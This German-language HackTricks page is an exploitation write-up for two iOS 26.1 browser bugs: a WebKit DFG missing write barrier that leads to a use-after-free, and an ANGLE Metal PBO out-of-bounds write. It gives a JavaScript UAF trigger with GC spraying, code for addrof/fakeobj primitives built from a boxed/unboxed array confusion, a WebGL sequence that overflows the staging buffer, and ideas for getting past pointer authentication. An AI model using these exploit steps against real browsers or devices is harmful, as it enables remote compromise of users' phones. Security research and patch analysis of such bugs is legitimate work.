WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung

  • DFG Store Barrier bug (CVE-2025-43529): In DFGStoreBarrierInsertionPhase.cpp führt eine als escaped markierte Phi node, während ihre Upsilon inputs es nicht sind, dazu, dass die Phase das Einfügen einer write barrier bei folgenden object stores überspringt. Unter GC-Druck erlaubt das JSC, noch erreichbare Objekte freizugeben → use-after-free.
  • Exploit target: Erzwinge, dass ein Date-Objekt einen butterfly materialisiert (z. B. a[0] = 1.1), sodass der butterfly freigegeben wird und anschließend reclaimed als array element storage wiederverwendet wird, um eine boxed/unboxed-Verwirrung zu erzeugen → addrof/fakeobj primitives.
  • ANGLE Metal PBO bug (CVE-2025-14174): Das Metal-Backend alloziert den PBO staging buffer unter Verwendung von UNPACK_IMAGE_HEIGHT statt der tatsächlichen texture height. Wenn man eine winzige unpack height angibt und dann ein großes texImage2D ausführt, führt das zu einem staging-buffer OOB write (~240KB im PoC unten).
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector und JSArray butterfly sind PAC-signed; das Erstellen gefälschter Objekte mit vom Angreifer gewählten Zeigern führt zu Abstürzen mit EXC_BAD_ACCESS/EXC_ARM_PAC. Nur das Wiederverwenden von already-signed butterflies (boxed/unboxed reinterpretation) funktioniert.

Auslösen der fehlenden DFG-Barrier → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Wichtige Punkte:

  • Platziere A im old space, um generationale Barrieren auszulösen.
  • Erzeuge ein indiziertes Date, sodass der butterfly das freigegebene Ziel ist.
  • Spray ArrayBuffer(0x800000) um GC zu erzwingen und das race zu vergrößern.
  • Die Phi/Upsilon-Escape-Mismatch verhindert das Einfügen von Barrieren; b.p1 = a läuft ohne write barrier, sodass GC a/butterfly freigibt.

Butterfly-Freigabe → boxed/unboxed-Verwirrung

Nachdem GC den Date-butterfly freigegeben hat, spray arrays, sodass der freigegebene Slab als Elemente für zwei Arrays mit unterschiedlichen element kinds wiederverwendet wird:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Status auf iOS 26.1 (arm64e):

  • Funktioniert: addrof, fakeobj, 20+ address leaks pro Lauf, inline-slot read/write (bei bekannten inline-Feldern).
  • Noch nicht stabil: generalized read64/write64 via inline-slot backings.

PAC-Einschränkungen auf arm64e (warum fake objects abstürzen)

  • TypedArray m_vector und JSArray butterfly sind PAC-signiert; das Fälschen von Pointern führt zu EXC_BAD_ACCESS / wahrscheinlich EXC_ARM_PAC.
  • Die confusion primitive funktioniert, weil sie legitime signierte butterflies wiederverwendet; das Einführen von unsigned attacker pointers scheitert an der Authentifizierung.
  • Mögliche Bypass-Ideen: JIT-Pfade, die die Authentifizierung überspringen, Gadgets, die attacker pointers signieren, oder Pivoting durch das ANGLE OOB.

ANGLE Metal PBO-Unterallokation → OOB write

Verwende eine sehr kleine unpack height, um den staging buffer zu verkleinern, und lade dann eine große texture hoch, sodass die copy überläuft:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Hinweise:

  • Bug in TextureMtl.cpp: Der Staging-Buffer verwendet UNPACK_IMAGE_HEIGHT anstelle der tatsächlichen Texturhöhe auf dem PBO-Pfad.
  • In der Referenzprobe ist der WebGL2 PBO-Trigger eingebunden, wurde aber auf iOS 26.1 noch nicht zuverlässig beobachtet.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks